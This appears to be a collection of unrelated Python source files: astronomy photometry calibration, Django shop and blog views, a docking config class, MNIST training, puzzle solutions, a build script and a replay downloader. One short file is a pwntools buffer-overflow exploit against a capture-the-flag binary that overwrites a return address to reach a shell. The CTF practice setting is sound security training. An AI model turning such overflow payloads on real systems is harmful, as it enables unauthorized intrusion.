if os.path.exists('lco.fits'):
    hdu = fits.open('lco.fits')
else:
    r = requests.get('https://archive-api.lco.global/frames/6143031/').json()
    hdu = fits.open(r['url'])
    hdu.writeto('lco.fits')

im = hdu['sci'].data
h = hdu['sci'].header
phot = Table(hdu['cat'].data)

phot = phot[phot['FLAG'] == 0]  # clean LCO catalog
lco = SkyCoord(phot['RA'], phot['DEC'], unit='deg')

# initialize catalog
ps1 = cvc.PanSTARRS1('cat.db')

# download PS1 catalog?
if len(ps1.search(lco)[0]) < 500:
    ps1.fetch_field(lco)

# crossmatch LCO photometry table with catalog
objids, distances = ps1.xmatch(lco)

# Calibrate this g-band image, include a color correction
g_inst = -2.5 * np.log10(phot['FLUX'])
g_err = phot['FLUXERR'] / phot['FLUX'] * 1.0857

zp, C, unc, g, gmr, gmi = ps1.cal_color(objids, g_inst, 'g', 'g-r')

# plot results
fig = plt.figure(1)
fig.clear()
ax = fig.gca()
ax.scatter(gmr, g - g_inst, marker='.', color='k')
x = np.linspace(0, 1.5)
ax.plot(x, C * x + zp, 'r-')
plt.setp(ax, xlabel='$g-r$ (mag)', ylabel=r'$g-g_{\rm inst}$ (mag)')
plt.tight_layout()
plt.savefig('lco-ps1-color-corrected.png', dpi=150)


# App converts a camelCase string to a Python-style snake_case string.

def main():
    camel_case = input('camelCase: ')
    convert(camel_case)

def convert(camel_case):
    py_case = ""
    for char in camel_case:
        if char.isupper():
            py_case += '_' + char.lower()
        else:
            py_case += char
    print(py_case)

main()


import json
import bcrypt
import jwt
import requests
import hashlib
import hmac
import base64
import time

from laneige.settings        import (
    SECRET_KEY,
    ACCESS_KEY,
    NAVER_SECRET_KEY,
    NAVER_SMS_URI,
    NAVER_URI,
    ALGORITHM
)

from django.db import transaction
from django.views import View
from django.http  import (
    JsonResponse,
    HttpResponse
)

from .models    import (
    Order,
    OrderProduct,
    OrderStatus
)

from product.models  import Product,Image
from account.models  import Account
from account.utils   import login_required

class CartAddView(View):
    @login_required
    def post(self,request):

        cart_data = json.loads(request.body)
        try :
            product = Product.objects.get(id = cart_data['product'])

            order = Order.objects.create(
                account = Account.objects.get(id=request.user_id.id),
                status  = OrderStatus.objects.get(name="장바구니")
                )

            OrderProduct.objects.create(
                product    = Product.objects.get(id=cart_data['product']),
                quantity   = cart_data['quantity'],
                price      = round(product.price),
                order      = order
                )

            return HttpResponse(status = 200)

        except KeyError:
            return JsonResponse({ 'message' : 'INVALID_KEYS'}, status=400)

class CartListView(View):
    @login_required
    def get(self, request):
        try :
            products = OrderProduct.objects.select_related('order', 'product').filter(order__account=request.user_id,order__status=1)
            product_list = [{
                'cart_num'          : product.id,
                'productNum'        : product.product.id,
                'productKoName'     : product.product.name_ko,
                'productEnName'     : product.product.name_en,
                'productImg'        : Image.objects.get(is_main_img=True, product=product.product.id).image_url,
                'productVolumn'     : product.product.volume,
                'productPrice'      : round(product.product.price),
                'productQuantity'   : product.quantity
            } for product in products]
            return JsonResponse({"product_list" : product_list}, status = 200)

        except OrderProduct.DoesNotExist:
            return JsonResponse({"error_code":"EMPTY_CART"}, status=401)

    @login_required
    def put(self, request):
        data = json.loads(request.body)
        cart = OrderProduct.objects.get(order__account=request.user_id.id,id=data['cart_num'])
        cart.quantity = data['quantity']
        cart.save()

        products = OrderProduct.objects.select_related('order', 'product').filter(order__account=request.user_id.id,order__status=1)
        product_list = [{
            'cart_num'          : product.id,
            'productNum'        : product.product.id,
            'productKoName'     : product.product.name_ko,
            'productEnName'     : product.product.name_en,
            'productImg'        : Image.objects.get(is_main_img=True, product=product.product.id).image_url,
            'productVolumn'     : product.product.volume,
            'productPrice'      : round(product.product.price),
            'productQuantity'   : product.quantity
        } for product in products]
        return JsonResponse({"product_list" : product_list}, status = 200)

    @login_required
    def delete(self, request):
        try :
            data = json.loads(request.body)
            cart = OrderProduct.objects.get(order__account=request.user_id,id=data['cart_num'])
            cart.delete()

            products = OrderProduct.objects.select_related('order', 'product').filter(order__account=request.user_id,order__status=1)
            product_list = [{
                'cart_num'          : product.id,
                'productNum'        : product.product.id,
                'productKoName'     : product.product.name_ko,
                'productEnName'     : product.product.name_en,
                'productImg'        : Image.objects.get(is_main_img=True, product=product.product.id).image_url,
                'productVolumn'     : product.product.volume,
                'productPrice'      : round(product.product.price),
                'productQuantity'   : product.quantity
            } for product in products]

            return JsonResponse({"product_list" : product_list}, status = 200)

        except :
            return JsonResponse({"product_list" :"NOT_EXIST_CART_NUMBER"}, status = 200)


#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@file        :vinaconfig.py
@Description:       :
@Date     :2022/11/11 15:17:33
@Author      :hotwa
@version      :1.0
'''
from pathlib import Path, PurePath
from dataclasses import dataclass
from typing import Iterable
from collections.abc import Iterable as _Iterator

from vinautil.utils.typecheck import typeassert

@typeassert(x=float, y=float, z=float)
@dataclass
class xyz_point:
    __slots__ = ['x', 'y', 'z', '__dict__']
    x: float
    y: float
    z: float

    def __init__(self, x, y, z):
        self.x = float(x)
        self.y = float(y)
        self.z = float(z)

    def __repr__(self):
        return 'xyz point: {},{},{}'.format(self.x, self.y, self.z)

    @classmethod
    def from_iterable(cls, iterable_object: Iterable):
        if isinstance(iterable_object, _Iterator):
            return cls(*iterable_object)

@typeassert(receptor=PurePath,
            ligand=PurePath,
            box_size=xyz_point,
            center=xyz_point,
            outpdbqtfile=PurePath,
            exhaustiveness=int,
            num_modes=int,
            energy_range=int)
@dataclass
class vinaconfig:
    receptor: PurePath
    ligand: PurePath
    box_size: xyz_point
    center: xyz_point
    outpdbqtfile: PurePath
    exhaustiveness: int
    num_modes: int
    energy_range: int

    __slots__ = ['receptor', 'ligand', 'center',
                 'box_size', 'outpdbqtfile', '__dict__',
                 'exhaustiveness', 'num_modes', 'energy_range']

    def __init__(self,
                 receptor, ligand,
                 center,
                 box_size,
                 outpdbqtfile,
                 exhaustiveness = 32,
                 num_modes = 20,
                 energy_range = 5,
                 ):
        self.receptor = receptor
        self.ligand = ligand
        self.center = center if isinstance(center, xyz_point) else xyz_point.from_iterable(center)
        self.box_size = box_size if isinstance(box_size, xyz_point) else xyz_point.from_iterable(box_size)
        self.outpdbqtfile = outpdbqtfile
        self.exhaustiveness = exhaustiveness
        self.num_modes = num_modes
        self.energy_range = energy_range

    def to_dict(self )->dict:
        return {'receptor': self.receptor,
                'ligand': self.ligand,
                'center': self.center,
                'box_size': self.box_size,
                'outpdbqtfile': self.outpdbqtfile,
                'exhaustiveness': self.exhaustiveness,
                'num_modes': self.num_modes,
                'energy_range': self.energy_range}

    def to_txt(self, file :Path,
               cx = None,
               cy = None,
               cz = None,
               sx = None,
               sy = None,
               sz = None,
               exhaustiveness = None,
               num_modes = None,
               energy_range = None,
               absolute_path=False) -> None:
        """to_txt save config to file supported autodock vina 1.1.2 and 1.2.3 binary file

        use: vina --config config.txt

        Arguments:
            file {file path} -- out put file
        """
        if absolute_path:
            receptor_path = self.receptor.absolute().as_posix()
            ligand_path = self.ligand.absolute().as_posix()
            outpdbqtfile_path = self.outpdbqtfile.absolute().as_posix()
        else:
            receptor_path = self.receptor.as_posix()
            ligand_path = self.ligand.as_posix()
            outpdbqtfile_path = self.outpdbqtfile.as_posix()
        exhaustiveness = exhaustiveness if exhaustiveness else self.exhaustiveness
        num_modes = num_modes if num_modes else self.num_modes
        energy_range = energy_range if energy_range else self.energy_range
        cx = cx if cx else self.center.x
        cy = cy if cy else self.center.y
        cz = cz if cz else self.center.z
        sx = sx if sx else self.box_size.x
        sy = sy if sy else self.box_size.y
        sz = sz if sz else self.box_size.z
        content = f'''
receptor = {receptor_path}
ligand = {ligand_path}

center_x = {cx}
center_y = {cy}
center_z = {cz}

size_x = {sx}
size_y = {sy}
size_z = {sz}

exhaustiveness = {exhaustiveness}

num_modes = {num_modes}

energy_range = {energy_range}

out = {outpdbqtfile_path}
'''
        file, file_dir = Path(file), Path(file).parent
        if not file_dir.exists(): file_dir.mkdir(parents=True)
        with open(file.absolute().as_posix(), 'w', encoding='utf-8') as f:
            f.write(content)


from glob import glob
from data_preprocessing import *
from mnist_model import *
import torchvision.utils
import matplotlib.pyplot as plt
DATA_PATH_LIST = '../../datasets/MNIST/mnist_png'
# LABEL_LIST=get_label_from_path(DATA_PATH_LIST)

def matplotlib_imshow(img, one_channel=False):
    fig,ax = plt.subplots(figsize=(16,8))
    ax.imshow(img.permute(1,2,0).numpy())
    plt.show()

if __name__ == "__main__":
    learning_rate = 0.001
    training_epochs = 15
    batch_size = 100

    device = 'cuda' if torch.cuda.is_available() else 'cpu'
    torch.manual_seed(777)

    if device == 'cuda':
        torch.cuda.manual_seed_all(777)

    model = CNN().to(device)

    transform = transforms.Compose( [ transforms.ToTensor(), ] )

    # train_data = mnistDataset(path=DATA_PATH_LIST, train=True, transform=transform)
    # train_dataloader = DataLoader(dataset=train_data, batch_size=batch_size, shuffle=True, drop_last=False)

    # test_data = mnistDataset(path=DATA_PATH_LIST, train=False, transform=transform)
    # test_dataloader = DataLoader(dataset=test_data, batch_size=batch_size, shuffle=True, drop_last=False)
    mnist_train = dsets.MNIST(root='MNIST_data/', # 다운로드 경로 지정
                          train=True, # True를 지정하면 훈련 데이터로 다운로드
                          transform=transforms.ToTensor(), # 텐서로 변환
                          download=True)

    mnist_test = dsets.MNIST(root='MNIST_data/', # 다운로드 경로 지정
                         train=False, # False를 지정하면 테스트 데이터로 다운로드
                         transform=transforms.ToTensor(), # 텐서로 변환
                         download=True)
    data_loader = torch.utils.data.DataLoader(dataset=mnist_train,
                                          batch_size=batch_size,
                                          shuffle=True,
                                          drop_last=True)

    criterion = torch.nn.CrossEntropyLoss().to(device)
    optimizer=torch.optim.Adam(model.parameters(),lr=learning_rate)

    total_batch=len(mnist_train)
    for epoch in range(training_epochs):
        avg_cost=0

        for X,Y in data_loader:
            X=X.to(device)
            Y=Y.to(device)

            optimizer.zero_grad()
            hypothesis = model(X)
            cost = criterion(hypothesis, Y)
            cost.backward()
            optimizer.step()

            avg_cost += cost / total_batch

        print('[Epoch: {:>4}] cost = {:>.9}'.format(epoch + 1, avg_cost))

    with torch.no_grad():
        X_test = mnist_test.test_data.view(len(mnist_test), 1, 28, 28).float().to(device)
        Y_test = mnist_test.test_labels.to(device)

        prediction = model(X_test)
        correct_prediction = torch.argmax(prediction, 1) == Y_test
        accuracy = correct_prediction.float().mean()
        print('Accuracy:', accuracy.item())
    # Visualize images
    # images= next(iter(train_dataloader))[0][:16]
    # img_grid = torchvision.utils.make_grid(images, nrow=8, normalize=True)
    # matplotlib_imshow(img_grid)


from django.shortcuts import render, get_object_or_404
from .models import Post, Comment, Tag
from django.utils import timezone
from django.db.models import Q
from .forms import PostForm, CommentForm, UploadFileForm
from django.shortcuts import redirect
from django.contrib.auth.decorators import login_required
import csv, io, codecs
from django.http import HttpResponseRedirect, HttpResponse
from django.contrib import messages

# Create your views here.
def post_list(request):
    posts = Post.objects.all()

    if request.method == 'GET':
        query= request.GET.get('q')

        submitbutton= request.GET.get('submit')

        if query is not None:
            # Query
            # ,kmmiop,
            results= Post.objects.filter(title__icontains=query).distinct()

            context={'results': results,
                     'submitbutton': submitbutton}

            return render(request, 'blog/post_list.html', context)

        else:
            return render(request, 'blog/post_list.html', {'posts':posts})

    else:
        return render(request, 'blog/post_list.html', {'posts':posts})

def post_detail(request, pk):
    post = get_object_or_404(Post, pk=pk)
    return render(request, 'blog/post_detail.html', {'post': post})

def post_new(request):
    # Jika method nya Post maka simpan
    if request.method == "POST":
        form = PostForm(request.POST)
        if form.is_valid():
            post = form.save(commit=False)
            post.author = request.user
            post.published_date = timezone.now()
            post.save()
            # Jika berhasil tambah data maka arahkan ke detail post
            return redirect('post_detail', pk=post.pk)

    else:
        # Jika tidak maka tampilkan form
        form = PostForm()
    return render(request, 'blog/post_edit.html', {'form': form})

def post_edit(request, pk):
    post = get_object_or_404(Post, pk=pk)
    if request.method == "POST":
        form = PostForm(request.POST, instance=post)
        if form.is_valid():
            post = form.save(commit=True)
            post.author = request.user
            post.published_date = timezone.now()
            post.save()
            return redirect('post_detail', pk=post.pk)
    else:
        form = PostForm(instance=post)
    return render(request, 'blog/post_edit.html', {'form': form})

# Views Blog, tambah komentar
def add_comment_to_post(request, pk):
    post = get_object_or_404(Post, pk=pk)
    # Jika form bernilai post
    if request.method == "POST":
        form = CommentForm(request.POST)
        if form.is_valid():
            comment = form.save(commit=False)
            comment.post = post
            comment.save()
            return redirect('post_detail', pk=post.pk)
    # Jika tidak
    else:
        form = CommentForm()
    return render(request, 'blog/add_comment_to_post.html', {'form': form})

@login_required
def comment_approve(request, pk):
    comment = get_object_or_404(Comment, pk=pk)
    comment.approve()
    return redirect('post_detail', pk=comment.post.pk)

@login_required
def comment_remove(request, pk):
    comment = get_object_or_404(Comment, pk=pk)
    comment.delete()
    return redirect('post_detail', pk=comment.post.pk)

def tag_post_list(request, pktitle):
    posts = Post.objects.filter(tags__title__startswith=pktitle)
    return render(request, 'blog/post_list.html', {'posts': posts})

def export_import_page(request):
    if request.method == "POST":
        form = UploadFileForm(request.POST, request.FILES)

        # jika form nya valid
        if form.is_valid():
            # tangkap request files
            csv_file = request.FILES['file']
            # Cek apakah yang dimaksukkan berekstensi CSV
            if not csv_file.name.endswith('.csv'):
                messages.error(request, 'File yang dimasukkan harus CSV.')
                return redirect('export_import_page')

            handle_uploaded_file(request.FILES['file'])
            messages.success(request, 'Berhasil menambahkan data csv ke database')
            return redirect('export_import_page')

    else:
        form = UploadFileForm()
    return render(request, 'blog/export_import_page.html', {'form': form})

def handle_uploaded_file(f):
    data_set = f.read().decode('UTF-8')
    # setup a stream which is when we loop through each line we are able to handle a data in a stream
    io_string = io.StringIO(data_set)
    next(io_string)
    for column in csv.reader(io_string, delimiter=',', quotechar="|"):
        created = Post.objects.create(
            author_id           = column[0],
            title               = column[1],
            text                = column[2],
            created_date        = column[3],
            published_date      = column[4],
        )
        # print(column)

def export_csv(request):
    # Create the HttpResponse object with the appropriate CSV header.
    response = HttpResponse(content_type='text/csv')
    response['Content-Disposition'] = 'attachment; filename="posts.csv"'

    writer = csv.writer(response)
    writer.writerow(["Author","Title", "Text","Created At", "Published At"])
    posts = Post.objects.all()
    for post in posts:
        # tags = "|".join(post.tags.values_list("title", flat=True))
        # tags
        writer.writerow([ post.author_id ,post.title, post.text, post.created_date, post.published_date])

    return response


"""
Assume the head and the tail both start at the same position, overlapping.
count up all of the positions the tail visited at least once
"""

def update_pos(head_pos, direction):
    new_pos = head_pos
    if direction == "R":
        new_pos[0] += 1
    elif direction == "L":
        new_pos[0] -= 1
    elif direction == "U":
        new_pos[1] += 1
    else:
        new_pos[1] -= 1
    return new_pos

def move_tail(head_pos, tail_pos):
    diff_x = head_pos[0] - tail_pos[0]
    diff_y = head_pos[1] - tail_pos[1]
    abs_diff_x = abs(diff_x)
    abs_diff_y = abs(diff_y)
    if abs_diff_x <= 1 and abs_diff_y <= 1:
        return tail_pos
    return [tail_pos[0] + (diff_x / max([abs_diff_x, 1])), tail_pos[1] + (diff_y / max([abs_diff_y, 1]))]

def ans(inp, n_knots):
    curr = [[0, 0] for _ in range(n_knots)]  # Head X Head Y, ..., Tail X Tail Y
    visited = set()
    for line in inp.split("\n"):
        direction, amount = line.split(" ")
        amount = int(amount)
        for _ in range(amount):
            new_head = update_pos(curr[0], direction)
            for i in range(1, n_knots):
                curr[i] = move_tail(curr[i - 1], curr[i])
            visited.add(tuple(curr[-1]))
    return len(visited)

if __name__ == '__main__':
    with open("inputs/testinp9.txt") as txtfile:
        print(ans(txtfile.read(), 2))
    with open("inputs/inp9.txt") as txtfile:
        print(ans(txtfile.read(), 2))
    with open("inputs/testinp9.txt") as txtfile:
        print(ans(txtfile.read(), 10))
    with open("inputs/inp9.txt") as txtfile:
        print(ans(txtfile.read(), 10))


#!/usr/bin/python3
from pwn import *

context(terminal=['tmux', 'new-window'])

if args['REMOTE']: io = remote('battleground.ctf.scyca.org', 6000)
else: io = process('./vuln')

pad_500 = cyclic(500)

exploit_1 = pad_500[:50] + b"BBBB"
exploit_2 = pad_500[:50] + p32(0xCAFED00D)
exploit_3 = pad_500[:62] + p32(0x80491c6) #win_function

io.sendlineafter(b"eh?: ", exploit_1)
io.sendlineafter(b"time: ", exploit_2)
io.sendlineafter(b"shell?: ", exploit_3)
io.interactive()


class Problem:
    def __init__(self):
        self.problemData = []
        self.noOfCubes = None

    def loadData(self, fileName):
        f = open(fileName, "r")
        totalCubes = f.readline()
        self.noOfCubes = int(totalCubes)
        for line in f:
            c1, c2, c3, c4, c5, c6 = line.split(" ")
            c6 = c6.rstrip("\n")
            self.problemData.append([c1, c2, c3, c4, c5, c6])
        f.close()


#setup.py

from setuptools import setup, Extension
from Cython.Distutils import build_ext
import numpy

ext_modules = []

# Indexer
ext_modules += [
        Extension("csindexer.indexer",
            sources=["./csindexer/indexer.pyx",
                     "./csindexer/indexer_c.c",
                     "./csindexer/interpolation_search.c"],
            include_dirs=[numpy.get_include()],
            extra_compile_args=["-Ofast", "-lm", "-fopenmp"],
            extra_link_args=["-fopenmp"],
            language='c',
            libraries=[]
            )
        ]

# setup
setup(
  name="csindexer",
  packages=["csindexer"],
  cmdclass={'build_ext': build_ext},
  ext_modules=ext_modules,
  setup_requires=["pytest-runner"],
  tests_require=["pytest"]
)


# -*- coding: utf-8 -*-
"""
@author: strA

ProjectEuler-problem-24
"""

"""
不需要枚举出来
"""
import math
digits = [0,1,2,3,4,5,6,7,8,9]
number = 1000000
total = 3628800
num = 0
for i in reversed(range(1,11)):
    dig = math.ceil((number/total)*len(digits)-1)
    num = num + digits[dig]*(10**(i-1))
    total = round(total/i)
    number = number - dig*total
    del digits[dig]
print(num)


import fire
import datetime
import os
import random
from tinydb import TinyDB, Query
import ballchasing_downloader as bd
from ballchasing_downloader import mapper

replay_out_folder = 'data/replays/'
replay_conv_folder = 'data/converted/'
ballchasing_data_folder  = 'data/ballchasing_info/'
ballchasing_db_file = os.path.join(ballchasing_data_folder,
                                   'ballchasing.db.json')
ballchasing_last_update_file = os.path.join(ballchasing_data_folder,
                                            'ballchasing.last.txt')

class Ballchasing:

    def __init__(self):
        self._db = TinyDB(ballchasing_db_file)

    def __last_upload_date(self):
        if not os.path.isfile(ballchasing_last_update_file):
            return None
        else:
            with open(ballchasing_last_update_file) as f:
                return datetime.datetime.fromtimestamp(float(f.read()))

    def __update_last_upload_date(self, new_date: datetime.datetime):
        with open(ballchasing_last_update_file, 'w') as f:
            f.write(str(new_date.timestamp()))

    def update_db(self, max_inserts=1000):
        insert_count = 0
        last_date = self.__last_upload_date()
        ret = bd.retreive_infos()
        new_infos = [mapper.named_tuple_to_dict(mi) for mi in ret
                     if ((last_date is None) or (mi.upload_date > last_date))]
        self._db.insert_multiple(new_infos)
        insert_count += len(new_infos)
        last_id = ret[-1].id
        new_last_date = max([mi.upload_date for mi in ret])

        while (len(new_infos) > 0 and
               (insert_count < max_inserts or max_inserts is 0)):
            try:
                ret = bd.retreive_infos(last_id)
                if len(ret) == 0:
                    break
            except Exception as e:
                print('Error while parsing infos after id={}'.format(last_id))
                print('A total of {} infos where retreived'.format(insert_count))
                raise

            new_infos = [mapper.named_tuple_to_dict(mi) for mi in ret
                         if ((last_date is None)
                             or (mi.upload_date > last_date))]
            self._db.insert_multiple(new_infos)
            insert_count += len(new_infos)
            last_id = ret[-1].id

        self.__update_last_upload_date(new_last_date)
        print('Inserted {} new match infos'.format(insert_count))

    def clean_db(self):
        os.remove(ballchasing_db_file)
        os.remove(ballchasing_last_update_file)

    def download_replays(self):
        missing_ids = bd.filter_downloaded_ids(replay_out_folder, ballchasing_db_file)
        for id in missing_ids:
            bd.download_replay(id, replay_out_folder)

    def convert_replays(self, number=10):
        'Converts {number} random replays into its dataframe and game info'
        to_convert_ids = bd.filter_converted_ids(replay_out_folder,
                                                 replay_conv_folder)
        if number > 0:
            to_convert_ids = random.sample(to_convert_ids, k=number)

        with open('converting_errors.log', 'a') as f:
            for id in to_convert_ids:
                try:
                    bd.convert_replay(
                        os.path.join(replay_out_folder, id + '.replay'),
                        replay_conv_folder)
                except Exception as e:
                    print(ValueError(
                        'Could not convert replay with id {}'.format(id), e),
                        file=f
                    )

if __name__ == '__main__':
    fire.Fire(Ballchasing)